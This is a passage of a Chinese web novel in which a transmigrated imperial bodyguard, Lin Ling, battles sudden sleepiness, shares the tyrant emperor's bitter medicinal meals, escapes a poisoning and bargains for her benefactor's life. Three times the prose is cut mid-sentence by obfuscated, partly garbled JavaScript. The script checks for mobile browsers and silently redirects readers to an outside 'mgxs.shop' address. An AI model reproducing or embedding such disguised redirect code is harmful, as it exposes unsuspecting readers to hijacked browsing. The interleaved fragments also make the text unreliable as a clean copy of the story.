带着猫拿着两本奏折去御花园吹冷风。 他坐在凉亭中,逗了逗猫便叫宫女将猫带走,又屏退众人。 当林零一如既往的想要混在众人中间溜走的时候,被薛琰点名留下。 看着薛琰似笑非笑的眼神,她总觉得这狗皇帝是故意的。 在领导面前发呆的感觉,跟自己躲起来摸鱼发呆的感觉是不一样的。在领导面前自然是要警惕紧绷着些,林零好不容易想趁现在躲去薛琰视觉死角放松片刻,又被他留下。 林零:有种着急回家打游戏放学后却被班主任留堂的无力感。 薛琰将她留下也并没有什么事情要吩咐去做,好似就单纯地随口一说,说完之后便专心致志地看自己的奏折去了。 她睁着死鱼眼站在薛琰身旁,心中骂骂咧咧:好端端一男的,偏偏要长张嘴! 骂了没几句觉得没什么意思,她又盯着薛琰发呆。 看着薛琰一页一页地翻着奏折,她的视线下意识地被那双手吸引。 林零其实是个隐藏的手控,她之前就注意到了,薛琰的手生得极好看,指节修长匀称,肤色洁白细腻,连手上薄薄的笔茧都生得恰到好处。 看着看着,身体里的倦意似乎涌了上来,她渐渐不受控制地合上了双眼。 薛琰又翻了两页奏折,想要对林零说点什么,刚一转过头就发现站得笔直睡着的林零。 薛琰:……? 他有些不敢相信地眨了眨眼,睡着了?站着?他发现这不知从哪里来的幽魂,真是总能带给他惊喜。 忍住想要爆笑的冲动,薛琰隐忍地转过头接着翻奏折。 但是那奏折的字里行间满满的都是林零站着睡觉的画面。 不行,不能再想了,要笑出来了。 轻呼两口气,薛琰平复下心情接着办公,可等到他带来的两本奏折全都看完,也没见林零有要睡醒的意思。 薛琰皱了皱眉又想了想,从腰间揪下一枚玉佩朝林零丢去。 睡梦中的林零猛然清醒,一抬手接住玉佩。 看着眼前心情不错的薛琰,林零满脸懵地张嘴:“陛下?” 薛琰嘴角带笑,扬了扬眉:“睡得怎么样?” 林零懵逼,林零疑惑,林零震惊。 丸辣!上班打盹被领导抓包辣!!! 她飞快滑跪:“陛下饶命!”她是真的无论如何也没想到,自己居然一晚没睡就能困到这个地步。 站着啊,还是当着薛琰的面,她就这样坦坦荡荡的随地大小睡? 上学的时候怎么没有点亮这个技能! 薛琰随口回应:“无事,起来吧。” 林零起身后,唯唯诺诺将手中的玉佩递给薛琰:“陛下,您的玉佩。” 薛琰拿着奏折站起身,无所谓地看了一眼:“给你了”,说罢便转身出了凉亭。 林零看着手中雕刻着龙纹的羊脂玉佩,触手温润滑腻,色白无暇。 ……这玉佩看起来像是要被人供在家里的那种。 她抬头看了眼已经走了有点距离的薛琰,轻轻甩了甩头,将玉佩往自己怀里一揣便追了上去。 管他呢,发财了嘿嘿嘿。 8. 第8章 羞死人 林零的困倦感并没有因为补眠而减少。 跟随薛琰来到养心殿后,宫人抱着刚在御花园撒过欢的小猫下去清洗。 林零站在老位置昏昏欲睡。 她方才在御花园中惊醒后,就已经意识到自己的身体应该是出了些问题。 在回来的路上她悄悄地给自己把过脉,并未察觉什么异常,身体内的内力也像平日一般运转。 仔细回忆一番,自己最近也并未受伤……等等!难不成是那枚琥珀? 林零脑中想起当日的画面:剧烈的疼痛,虚弱的身体,诡异的秘术。 她越想越觉得该不会是有什么后遗症。 偷偷瞅了眼歪躺在榻上看书的薛琰,摸了摸刚在怀里捂热乎的玉佩,觉得应该不是这狗皇帝突发恶疾想整死自己。 毕竟这祖宗想杀人向来就是一声令下把人拖走,哪用得着这么弯弯绕绕地迂回。 林零思来想去还是认为自己有必要去看看大夫。 她并不懂医理,原身虽懂但也仅有皮毛,再加上她这触发式读取的记忆。 自己与其在这里瞎折腾,不如等下休息的时候去太医院走一趟。 心中打定主意后,林零不再走神,晃了晃昏沉的脑子。 然后一抬眼发现薛琰将书反扣在腿上,正支着头盯着她。 你丫瞅什……呸,这祖宗又要干什么? 想到薛琰神奇的读眼色能力,林零赶紧刹脑闭眼,再睁眼的时候眼神坚定得像是要入党。 薛琰挑了挑眉,表情扭曲了一瞬,但还是保持原来的姿势,一言不发地与林零对视。 这祖宗不开口,林零当然不会给自己没事找事。 林零:敌不动,我不动! 薛琰:不要笑挑战。 “喵嗷”,一声猫叫打破了两人的对视。 高高翘起尾巴的社牛小猫一进门直直地冲到林零跟前,尚且稚嫩的爪子勾着她的衣物飞快地爬到她的怀中,一仰头重重蹭过她的下巴,发出了响亮的呼噜声。 薛琰捡起书随手放在一边,冲一人一猫招了招手。 林零抱着猫走到跟前,薛琰又掏出一枚坠着长长流苏的玉环,那玉环与流苏的连接处还挂着两枚小巧的铃铛,只需轻轻一晃便发出清脆悦耳的铃声。 逗……逗猫棒? 小猫一看到这古代版豪华逗猫棒就兴奋地伸爪去够,林零赶忙将它放在榻上。 狗比薛琰的逗猫技能无师自通,将流苏一抖一抖的坠在小猫面前,铃铃作响的声音吸引了它的注意,等到小猫伸爪便又飞快的拿开。逗得小猫满榻乱窜。 忙活半天的小猫连流苏的尾巴都没够到一点,气得扭过头用屁股对着薛琰团成一团。 小猫:生胖气.jpg 薛琰见状又将流苏放在小猫不远处,另一端攥在手中轻轻抖动,小猫渐渐忍不住扭过身,悄无声息地伏低身体,眼睛紧紧盯着流苏,屁股轻轻扭动。 它看准时机“唰”的一下扑了出去。 然后扑了个空。 看着原地瘫成一张猫饼的小猫,薛琰终于憋不住,发出一阵爆笑。 他一边笑着一边想要对林零说点什么,一抬眼却发现林零不知什么时候已经合上双眼睡了过去,就连他们方才玩闹的动静都没有吵醒她。 薛琰看着她,皱了皱眉,随即扬声对明德公公说道:“传张御医。” 明德公公有些诧异地看了一眼迷蒙睁眼的林零,弯腰行礼后便踩着灵活的小碎步找御医去了。 林零听到外界的动静,艰难地从睡梦中脱身,然后一睁眼与薛琰四目相对。 ……梅、梅开二度? 林零不知该做何反应,对着薛琰扯了下嘴,挤出一个十分僵硬的笑:“陛下”。 薛琰微微直起身,给林零腾了点位置,拍了拍身下的书榻:“坐。” 周围的一众宫人内侍从林零睡着开始就已经惊掉了下巴,现在看见她不仅没事,还被暴君赐座,甚至有些亲密地坐在同一张榻上。 他们看林零的眼神敬畏中夹杂着同情,同情中夹杂着羡慕,脑中也开始脑补残酷暴君和温柔宫女的爱恨情仇。 林零:……他们的眼神好复杂,眼里好像闪过了她的另一段人生。 林零贴着书榻的边缘坐下,此时此刻,她对如坐针毡这个词有了相当深刻的体会。 薛琰看着她的样子有些想笑,但一开口却是一本正经:“说说吧,你这是怎么回事?” 林零看他难得严肃,想了想,怂怂地开口:“奴昨夜失眠,今日困乏得厉害,陛下恕罪。” 薛琰有些无语:“你?就因为一晚没睡困成这样?你确定?” 林零想起自己昨晚身体强健,一巴掌把一个大男人扇飞出去的场景,欲哭无泪:“奴不知道啊。” 薛琰有些烦躁地啧了一声:“算了算了,等着吧。” 林零警惕地看了他一眼,心说:等?等什么?难不成是……你给朕等着?又要秋后算账? 薛琰手法很是不讲究的搓了两把小猫,把它原本服帖顺滑的毛搞得胡乱翘起。 小猫愤怒地举起爪给了他两巴掌,转身一扭一扭钻到林零怀中,夹着嗓子:“喵~” 薛琰被抽了也不恼,只瘪了瘪嘴:死夹子。 不多时,明德公公带着御医返回殿内,年迈的御医颤颤巍巍行礼:“参见陛下。” 薛琰十分不耐烦地开口:“免礼”,然后抬手一指一旁已经抱着猫昏昏欲睡的林零,“她一夜未睡就困成这个样子,给她看看是什么毛病。” 一众宫人内侍见状齐齐瞳孔地震,御医看诊啊,林女官不声不响的竟是如此得圣宠。 张御医也是见多识广,面不改色地应声后,不着痕迹地撇了一眼林零的小腹。 林零觉得好像有哪里不对,但困顿的大脑并未多想。 薛琰说完便直接起身坐在书案后,捡起毛笔不知在写些什么。 张御医隔着帕子细细把过脉,转身躬身对薛琰说道:“陛下,林姑娘脉象平缓匀净,身子康健得很,并无异状。”他顿了顿接着说道:“前一日彻夜未眠,第二日困倦疲乏,乃是正常现象,不一定是身体有疾,不若今日安心静养,早些歇息,若是明日依旧如此,再用药也不迟。” 薛琰闻言并未搭话,将手中的毛笔“啪”地往桌上一摔,那一把年纪的老御医吓得膝盖一软,一屁股坐在地上。 罪魁祸首一抬眼:“张御医是身体不好还是喜欢坐地上?” 张御医连忙调整姿势,跪得端正:“臣一时失礼,陛下恕罪。” 薛琰盯着张御医看了两息:“下去吧。” 御医走后,他又屏退众人,林零想了想,坐在榻上没动,她现在困得浑身发软,薛琰没直接喊她走她也懒得动弹。 “来人”,薛琰不知对谁说道,房梁上应声落下一名暗卫跪在殿中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489360|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛琰拿起方才写好的信,将其装在绘有精巧图案的信封中,交给暗卫:“叫他尽快回话。” 暗卫低头称是,便飞身上了房梁,不知去了哪里。 做完这一切,薛琰起身走到再度睡着的林零跟前,顺手提起她怀中困倦的小猫,躺回了榻上,一手将小猫往旁边一丢,一手拿起放在一边的书。 那小猫倒也没有闹腾,翻了个身找到舒服的姿势便团起来睡着了。 薛琰一页一页地翻书,画面倒是难得的和谐。 等到天色擦黑,明德公公在殿外唤道:“陛下,该用晚膳了。” 薛琰坐起身,瞅了眼睡得正香的一人一猫:“林零。” 眼前之人一动不动,薛琰伸出手想要推一推她,将她叫醒。 原本毫无反应的林零在两人触碰的一刹那突然暴起,一手捉住薛琰的手腕,另一只手抵在他的胸膛,将他整个人狠狠按倒在榻上。 林零睁开眼就看到薛琰面无表情的脸。 ……每次睁眼都有新惊喜。 感受到手上温热的触感,强制开机的大脑反应了一下,搞清楚他们两人现在的姿势之后,她刚刚才开始运转的大脑终于彻底宕机。 久久没有得到回应,明德公公口中一边轻声唤着“陛下”,一边走进殿内,然后看到他们两人一上一下,一手交握,那林女官满脸惊慌,另一只手还按在他们陛下的胸膛之上,姿势非常之引人遐想。 唉……唉呀,羞死人了! 明德公公年纪虽大但反应飞快地一躬身:“奴才告退”,然后就这么撅着腚退出殿外。 退出时一声荡漾的笑声从还未关紧的门缝溜了进来。 薛琰躺在榻上,看着林零的表情从迷茫到震惊到慌乱,再到现在的一脸空白,整个人像是石化一般。 他终于忍不住哈哈大笑,胸腔内的震动通过手掌传递到林零身上,震得她半边身子都有些发麻。 殿外的内侍听到薛琰的笑声,有些犹豫地看向嘿嘿直乐的明德:“明德公公,我们不进去摆膳吗?” 明德随手一拂尘甩了下那小内侍的脸,满脸姨母笑:“急什么,陛下现在正忙着呢~” 林零回过神,连忙爬起身,站在一边,迟钝的大脑疯狂运转,口中下意识道歉:“陛下恕罪。” 薛琰从榻上直起身,眼角微红,衣衫凌乱,好一副不检点的模样。 “恕罪?”薛琰抬手合上有些敞开的衣襟,瞥了她一眼,“朕恕你的罪可不少,你胆子真是越来越大。” 林零心说:这话你叫我怎么接。 她有些晃神,讷讷开口:“陛下,我……” 话未说完,一名暗卫从房梁上再次落在殿内,将手中的回信呈上。 薛琰伸手拿过信,直接拆开信封看了起来。那信上写的内容像是不多,没两下就看完了。他将信凑在烛火旁,烛火舔舐过薄薄的纸张,很快便烧了个干净。 薛琰神情莫辨,示意那暗卫退下,又看林零狗狗祟祟站在一边,一副不敢开腔的样子,冷哼一声站起身扬声唤道:“明德。” 明德公公收敛地推开一条门缝钻了进来,脸上还挂着荡漾的笑意:“奴才在~” 薛琰听得眉头一皱:“你又是什么毛病?” 明德公公伸手打了下自己的嘴,敛了神色,再开口时果然正常了许多:“陛下,奴才知罪。” 薛琰也懒得跟他计较:“传膳吧。” 9. 第9章 让你吃 端着御膳的宫人井然有序地进入殿内一一摆放。 林零闻着一道道精美菜肴传来的香气,又想了想自己的女官餐标。 她此时此刻无比想念现代的奶茶汽水小火锅,辣条米线小蛋糕。 目光垂涎地从薛琰的御膳上划过,林零站在自己的老位置心如死灰地看狗皇帝挑三拣四。 薛琰吃饭的时候难缠的程度简直成倍数上涨,一会嫌味道重,一会又嫌太烫难以入口。 挑挑拣拣下,整桌菜肴竟是没有一道能入了他的口。 想吃的没得吃,不想吃的摆一桌。 这么大的人了吃饭还这样,你是小学生吗! 大约是身上的怨气又悄悄溢出,引得了薛琰的注意。 他捏着筷子想了想,对着林零说道:“你先下去用膳,等会再回来当值。” 林零惊喜抬头,薛琰还是那个薛琰,那熟悉的臭脸,那浑身欠扁的气质。 明明并无太大变化,但就是比之前良善了不少。 “谢陛下”,懒得想薛琰的转变究竟是因为什么,林零行过一礼便退出房间。 她的身体依旧困倦而疲惫,但这并没有影响到她良好的食欲。 每日吃饭歇息的这点时间,算是她一天中为数不多的快乐时光。 早上当值盼午饭,下午当值盼晚饭,晚上当值盼就寝。 嗨呀,我们打工人就是这样。 林零撑着犯困的身体和稍稍雀跃心情来到了食堂,手中的饭菜虽比不得现代,但也比大多数人要好很多了。 端着饭菜回到了自己的房间,林零净过手后满怀期待地打开食盒。 一口菜肴刚送入嘴中,混在饭菜香味中的一丝怪异的味道让身体本能地将口中的食物吐了出去。 林零连忙起身倒了一杯茶漱口,脑中后知后觉浮现出的记忆表明,刚才那怪味正是来自一种能够使人迅速毙命的药物。 又多漱了几遍口,林零拿起手帕擦擦嘴,看着自己仅有一份的晚饭有些沉重地叹了口气。 这下好了,连不好吃的晚饭都没得吃了。 她想都不用想就知道,这药定是那心眼比褶子多的睿王在作妖。 最后不舍地看了两眼自己的晚饭,林零一脸命苦地端起食盒,怨气冲天地转身出门向自己老板告状。 御书房外当值的宫人们见到林零背后冒着黑气,宛若游魂般去而复返,纷纷不敢多问。守门的内侍更是远远瞧见就进殿通报,生怕惹火上身。 林零往殿中间一站,行过礼后张嘴就是十分耿直的一句:“陛下,有人在奴的饭里面下毒。” 大殿内众人惊恐看过去。 不好好吃饭在自己碗里戳来戳去的薛琰抬头愣了一瞬:“你吃了?” 林零言简意赅:“没吃,奴发现之后便吐了出去。” 薛琰点点头扬声道:“来人。” 一身着赤红飞鱼服的锦衣卫应声从阴影处走上前,接过林零手中的食盒,行了一礼走出殿外,想必是去调查此事。 见林零还是直挺挺杵在殿中央,薛琰稀奇发问:“不走?想回来当值?” 林零才不想回来加班,她吭哧吭哧憋了半天,实在没好意思再跟老板告状说自己饿了没饭吃。 而且她感觉这话说出来莫名像是在撒娇。 尽量收敛地偷偷瞥一眼御膳,林零遗憾行过礼转身告退。 薛琰见状一挑眉,视线划过面前几乎没动过的御膳,脑中念头一闪而过。 他唇角微勾:“等等。” 待林零转身,看着那一双无神的死鱼眼,他接着说道:“你来陪朕一同用膳。” 殿内众多宫人看向她的眼神已经有些麻木了,这位林女官给他们带来的震惊已经不止一星半点。 无论如何他们只知道,这位现在正得圣宠,是万万得罪不得。 林零听到这句话的时候同样愣了愣神,旋即反应过来了这句话的含义,有些不可置信的眨了眨眼看向薛琰。 天……天使? 这对吗?这对吗?你不是暴君吗大哥? 你现在让我还怎么理直气壮地偷偷辱骂你啊! ooc了啊喂! 心中不论在如何炸裂吐槽,林零仍然隐藏不住地雀跃起来。 她忍耐地矜持开口:“陛下,这不合礼数吧。”话一出口倒是先把自己激出了一身鸡皮疙瘩。 她悄悄抖了抖,这是什么欲拒还迎的娇羞剧本! 看着身后黑烟消散满眼亮晶晶的林零,薛琰的唇角扬起的弧度渐渐扩大:“朕叫你吃你就吃。” 哇哦,这么霸道!那我就不客气了。 林零从善如流坐在薛琰对面,接过宫人递来的碗筷,筷子精准夹起一道山药煨肉。 菜未入口时先传来的是一股草木的清香。 林零的牙齿轻咬,汁水便从肉块中流了出来。 随后一股浓厚的药味霸道地充斥整个鼻间,味蕾也后知后觉尝到了药材独有的苦涩。 滋味寡淡,毫无鲜香,这一口不像是吃肉,更像是在生嚼药材。 林零骤然僵住。 硬着头皮嚼了两口,口中的味道却愈发苦而涩。林零这口食物含在嘴中,咽也不是吐也不是。 她感觉自己整个人有一瞬间像是堕入虚空一般,失去了对外界的感知。 林零又麻木的嚼了几口,强忍不适将食物艰难地咽下。 她放下碗筷,眼神空虚地目视前方,只觉得自己本就困倦发软的身体现在更是虚脱一般。 家人们谁懂啊,吃了口饭去了半条命,呕! 这御膳房就是这么当差的吗? 把菜做成这样,你们这是在糟蹋粮食啊喂! 薛琰从一开始就撑着头笑意盈盈看着她,此时恶作剧得逞,见她这副模样,终于再也忍不住捧腹大笑起来。 听着耳边的笑声,林零转过头看着他,终于明白薛琰吃起饭来为什么是那副死样子。 明明看上去色泽鲜亮,叫人食指大动,入口后却是截然相反。 这一顿饭吃下来,眼睛和嘴怕是得对一晚上的账。 薛琰笑够了,他擦擦笑出来的眼泪,红着眼角问道:“还吃吗?” 林零看眼前这一桌菜的眼神像是在看一桌色彩明艳的毒蘑菇,非常实诚的摇摇头:“不吃了。” 薛琰看她这幅老实样又有点想笑,他忍了忍,转头对着宫人说道:“去给她换几道正常的。” 宫人应声退出,薛琰捡起筷子夹起林零吃过的那道山药煨肉,放入嘴中慢慢咀嚼,咽下。 “这些是朕的药膳”,他一边夹菜一边说道,“朕的身体有恙,需时常用药滋补,但朕喝不下药,宫中御医就想了这么个法子。” 林零坐在他对面,看他吃的面色如常,心中的想法早已不像开始时那般。 原来是药膳,但是这味道也太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489361|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人难以接受了,反倒还不如直接喝药。 前去传菜的宫人们去而复返,将与药膳相差无几的菜品一一摆放上桌。 林零看着桌上色香俱全的菜品,有些犹豫地看了看薛琰。 薛琰嚼着嘴里的药膳,示意她安心吃。 林零谨慎地夹了一筷子送入口中。 肉质软嫩,鲜香扑鼻,与刚才的药膳相比,真是叫人体会到了什么叫一念地狱一念天堂。 两三下将口中食物咽下,林零惊喜地看向自己跟前这几道菜。 随即她又有些犹豫地偷看一眼对面吃着苦涩药膳的薛琰,开口说起了场面话:“陛下,您要吃点吗?奴为您布菜?” 薛琰如她所料的拒绝过后,林零便毫无心理负担的大快朵颐起来。 这是她来这里之后吃过最好吃的一顿饭,其滋味甚至可以与她在现代吃到的那些美食相提并论。 薛琰看她吃得眼睛发亮,面色红润,连腮帮子都吃得鼓鼓的,不由得多夹了几筷子,待菜肴入口后却又有些忍耐地皱了皱眉。 待林零吃完,满足地放下筷子擦了擦嘴,这顿饭吃的真是酣畅淋漓。 薛琰在宫人的伺候下净手漱口,看着林零想了想,开口:“你以后同朕一起用膳。” 林零眼神一凝。 什么!晚饭的休息时间没了!? 但是以后天天可以吃御膳诶。 但是休息时间没了!? 但是御膳真的好好吃…… 她这边纠结,对面的薛琰轻笑出声:“怎么,没吃好?” 林零连忙捧场:“奴吃好了,非常好。” 薛琰继续刁难:“如何好?” 林零心中回答菜色诱人。 嘴上自信张口。 “秀色可餐。” …… 整个宫室静了一瞬,薛琰神色怪异地坐直身子,又盯着林零仔细瞅了瞅,发出一声响亮的嗤笑。 林零感觉一股热意从背后蔓延开来,熏得她整个人热烘烘的,面上还努力维持着镇定。 薛琰看着对面整个人都僵住的林零,将难缠的话题轻轻揭过:“朕说,要你跟朕一同用膳。” 林零松了一口气,连忙张嘴应答:“是。” 她心中暗自懊恼,自己一定是太困了,瞧瞧,困得都嘴瓢了。 虽然林零已在御前用过饭,但规定的休息时间还并未结束,薛琰便大发慈悲将人打发去休息。 吃饱喝足地走出殿外,林零却并没有像薛琰预料的那样回去补眠,而是先去猫房陪着小猫玩了一会,才向着自己的卧房走去。 休息的时间就那么一点,这古代又没有什么手机闹钟,万一睡过了时辰惹得薛琰生气,那可真是得不偿失。 走到了卧房门口,林零的脚步忽地顿住。 平日仔细闩上的门此时正虚掩着,明晃晃的告诉她有人来过。 她屏息感知了片刻,确定房中无人后小心进入。 只见床边的小桌上多了一枚小小的香囊,用料是寻常人家常用的棉布,只绣着简单的花样,算不得精美,但针脚细密匀称,能看得出缝制香囊的人手艺并不算差。 看到这枚小小的香囊,林零脑海中有什么画面一闪而过,身体不由自主地感到一阵心慌。 这枚香囊放在这里一定有什么含义,但是…… 天杀的!她是穿来的啊!!为什么有这么多的谜语人啊! 10. 第10章 梦见的 那脑中闪过的画面实在模糊,又消失得太过迅速。 林零攥着那枚小小的香囊努力回想了半天也没能再回忆起一星半点。 她有些挫败地叹了口气,检查过香囊并无其他异常后,将自己怀中御赐的玉佩放入香囊,再将两者一同放入自己怀中。 实在想不起来就之后再说吧,说不定什么时候就会碰到契机,现在硬想也只是白费时间。 又休息了片刻,林零起身前往养心殿当差。 薛琰此时已经在宫人的伺候下洗漱更衣,再过不久便要就寝。 因此今日晚间的当差对林零来说,几乎就只是换个地方睡觉罢了。 她身负保护皇帝安全的重担,本不该有这样长的休息时间,奈何薛琰亲自准许,这才叫林零能够美美休息。 薛琰又看了会书便熄灯就寝,林零也终于不用再强撑身体的困倦,很快便陷入了沉睡。 薛琰在黑暗中盯着床顶不知在想些什么,良久,他轻声呼唤:“林零。” 意料之中的没有得到回应。 薛琰等了片刻,起身掀开床幔走下床来到了她的矮榻前,伸手轻轻碰了碰她的脸颊。 林零静静地躺着,没有任何反应,像是薛琰不曾知晓的睡美人童话里的那位主角一样。 殿外隐隐约约传来了打斗的声音,这声音对薛琰来说并不陌生,甚至可以说是稀松平常。 毕竟这世上想要杀他的人可是多了去了。 薛琰眉头微皱更加烦闷,伸手推了推林零的肩膀,眼前沉睡的女人依旧没有任何反应。 他原先猜想是因为先前动用秘药才叫她这般嗜睡,写信问过暗卫营统领后才得知从未有其他暗卫出现与林零一般的症状。 他叹了口气,索性直接坐在了林零的床边,等到外边打斗声渐熄扬声唤道:“明德,传御医。” 林零的意识昏昏沉沉,她能感知到薛琰在叫她,但眼皮实在太过沉重。 费力睁开眼,朦胧间看到床前坐的人影,只见那人影回过头来与她对上视线,嘴里像是在说些什么。 林零的脑子迟钝地思考眼下究竟是什么情况。 忽的,耳边似是传来了破空声,她的身体下意识地做出行动,猛地伸手拉住眼前人影的胳膊一拽。 同一时间,原本射向薛琰的一枚箭矢被突然出现的暗卫挡下。 一名刺客紧随箭矢而来,林零飞身而起,一脚踹在那刺客的胸口,随后身体一软彻底失去了意识。 薛琰伸手揽住林零的腰,低头看着怀中的人再次陷入沉睡。 林零这一觉睡得很沉,甚至还做起了梦,梦中满是她自己的身影。 她看到小小的自己在街边乞讨,食不果腹,衣不蔽体。 她看到自己被选为暗卫,日夜训练,每日都在生死边缘徘徊。 她还看到自己天资卓绝,武功大成,轻而易举的杀掉一个又一个拦在面前的敌人。 但老话说得好,常在河边走,哪有不湿鞋。 梦中的林零终究还是阴沟里翻船。 在一次任务时,她一时不察,陷入了敌人的包围圈。虽然拼尽全力将敌人团灭,但自己也受了重伤。 她在雪夜中苦苦支撑了很久,最终力竭倒在了路边。 是一位老婆婆将她捡了回去。婆婆家中仅她一人,靠做些女红手艺为生。 林零醒后重伤未愈,便暂时留了下来。两人相处起来,虽开始时显得别扭又生硬,但后来也渐渐地亲近起来。 婆婆无儿无女,林零也自小便没了亲缘。 两个孤单已久的人,凑在一起抱团取暖,这日子也渐渐变得温暖而令人留恋。 但林零的身份令她无法陪着婆婆自欺欺人地呆下去。 暗卫若是与上级太久失去联系,就会被催动体内秘药灭口处理。 林零在受伤期间只得时常向自己的上级汇报,伤势一天天的恢复,她也终于到了不得不离开的时候。 离开后,她的优秀和才能逐渐显露,最终当选为皇帝的贴身暗卫,每日伺候御前,不必再像是之前那样天南海北的出任务。 但她闲暇时还会不自觉地想起那位婆婆和那个雪夜中的小屋。 再后来的记忆变得纷乱而无序。 有时她看到身为暗卫的她,一手长剑将眼前之人一剑毙命。 有时她看到现代的自己刚刚进入公司,坐在工位上苦哈哈的当社畜。 还有时,她看到自己穿着一身粗布麻衣,偷偷躲在墙角窥视着眼前守卫森严的农庄。 …… 紧接着,不知何处传来一阵剧痛,她的意识猛然清醒。 睁开眼,映入眼帘的是明黄色的床幔。林零愣了一会,险些以为自己再次穿越了。 一旁的薛琰见林零眼神呆滞,转头冲刚拔掉针的老御医吼道,语气中满是威胁:“这就是你说的没有大碍?她怎么看着像是傻了!” 你〇的,能不能把嘴闭上,懂不懂得爱护病号啊! 大约是察觉到了林零眼中浮现的凶意,薛琰清了清嗓子再次问道:“她到底是什么情况?” 一把年纪的老御医颤颤巍巍:“这……这,陛下,林姑娘身体康健,老臣确实是没有检查出什么问题。” “没什么问题会好端端的昏睡不醒?”薛琰阴着一张脸开始医闹,“张御医你最好想清楚了再给朕回话。” 张御医闻言颤抖得更厉害了,鬓边的冷汗滴落:“林姑娘身体没问题,许、许是……” 张御医停顿了一下,然后一咬牙说道:“许是不小心冲撞了哪路神仙精怪也说不定。” 薛琰眸色闪动一瞬,面上却依旧阴鸷地盯着御医。 片刻后他松口问道:“那现在呢,她现在还要怎么治疗。” 张御医松了口气擦了擦额上的冷汗回道:“林姑娘嗜睡乏力,臣开些提神补气的方子,姑娘一日服用两次即可。” 薛琰跟御医这边掰扯的事情,林零压根没注意,待薛琰将一把年纪还要大晚上被薅起来看病的老御医打发走,她这才回过神。 经此一梦,她才知道那枚香囊究竟意味着什么。 只能暗自祈祷她知道的还不算太迟。 林零坐起身抬头盯着薛琰,深吸一口气:“陛下,奴有事要禀。” 薛琰冲着身后一挥手:“都出去”,面上神情莫辨。 待宫人们都退至殿外,林零想着方才梦中的回忆,斟酌着开口:“陛下,睿王之前曾命奴刺杀陛下,奴与他虚与委蛇是因为睿王以奴的亲人作为要挟。” 薛琰一挑眉来了兴致:“你还有亲人?” 这句话并不是薛琰嘴欠找茬,他之所以这样发问,是因为选拔暗卫苗子时,最重要的一条规则就是要挑选无亲无故之人,林零话一说出口引得疑问也实属正常。 林零硬着头皮:“再生之恩,情同至亲。” 她稍等了片刻,见薛琰没有再问话的打算,才接着说道:“今日用过晚膳后,奴回房发现了这个。”说着将香囊从自己怀里掏出。 “这香囊出自奴那至亲之手。她本该远在百里之外,可如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489362|202149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她亲手缝制的香囊出现在奴的房内,奴担心……” 林零的话没有说下去,她看不出薛琰的神色,只得咬咬牙接着说道:“奴恳请陛下……救救她” 薛琰盯了她半晌才开口问道:“朕记得你是失忆了,如今怎的又想起来了?” 林零尴尬笑笑:“陛下,奴说是梦见的,您相信吗?” 薛琰没再说话,起身走到桌边给自己倒了杯茶,轻抿一口,才开口说道:“你不过一介小小暗卫,别说你的至亲,连你自己的命都在朕手中,凭什么要朕帮你。” 林零垂眸思忖片刻,斟酌着语气,有些不好意思地嘿嘿笑了一下,说道:“陛下,奴还在训练时长官们都说奴是近百年内难得一遇的练武奇才。” “奴心系至亲,险些做了错事,幸得陛下宽恕,若陛下心善能够救她性命,奴今后也好专心致志为陛下肝脑涂地。” 薛琰放下茶杯,语气听不出喜怒:“你在威胁朕?” 林零连忙摇头:“奴不敢!” 薛琰嗤笑一声故意说道:“不过一介暗卫,再天才有什么用,能为朕所用的人要多少有多少。” 林零感觉自己像是在参加面试:“陛下,我跟他们不一样的!” 她想了想顺口拆台:“比如陛下您屋里藏着的,房梁上躲着的,还有殿外屋顶上蹲着的,窗外死角站着的……” 她叽里咕噜说了一串,眨巴眨巴眼接着说道:“这一群人加起来一起上,都打不过我哦。” 众暗卫默默往阴影中缩了缩:…… “还说不是在威胁朕?”薛琰转身走到她跟前,伸手挑起她的下巴:“不怕朕杀了你吗。” 林零讨好笑笑,张口硬刚:“陛下你知道的,我其实没那么怕死。” 薛琰笑了笑,手从她的下巴往下猛地掐住她的脖子:“哦?” 林零顺从抬头,哑着嗓子说道:“我很强,但正如陛下您所说的,我不过是一个小小暗卫,能够拿出来谈判的筹码也不过一条命罢了。” “我用我这条命,去换得我至亲的一条命,此后,若有所命,肝脑涂地,万死不辞!” 薛琰低着头与她四目相对,看着那难得正经的脸庞,缓缓重复:“‘我’这一条命。” 喉间的手指渐渐收紧,林零并未反抗,任凭自己的呼吸越来越困难,直到自己的胸口发紧,心跳声一下下重锤在耳边。 在她眼前的视野渐渐变黑,快要失去意识之前,薛琰终于松手:“来人。” 躲在房梁上的暗卫应声落下,跪在薛琰面前行礼。 薛琰坐在床边:“去给朕的第二条命查查她的至亲在哪。” 林零一边扒在窗边大喘气,一边跟暗卫细细描述婆婆的样貌。 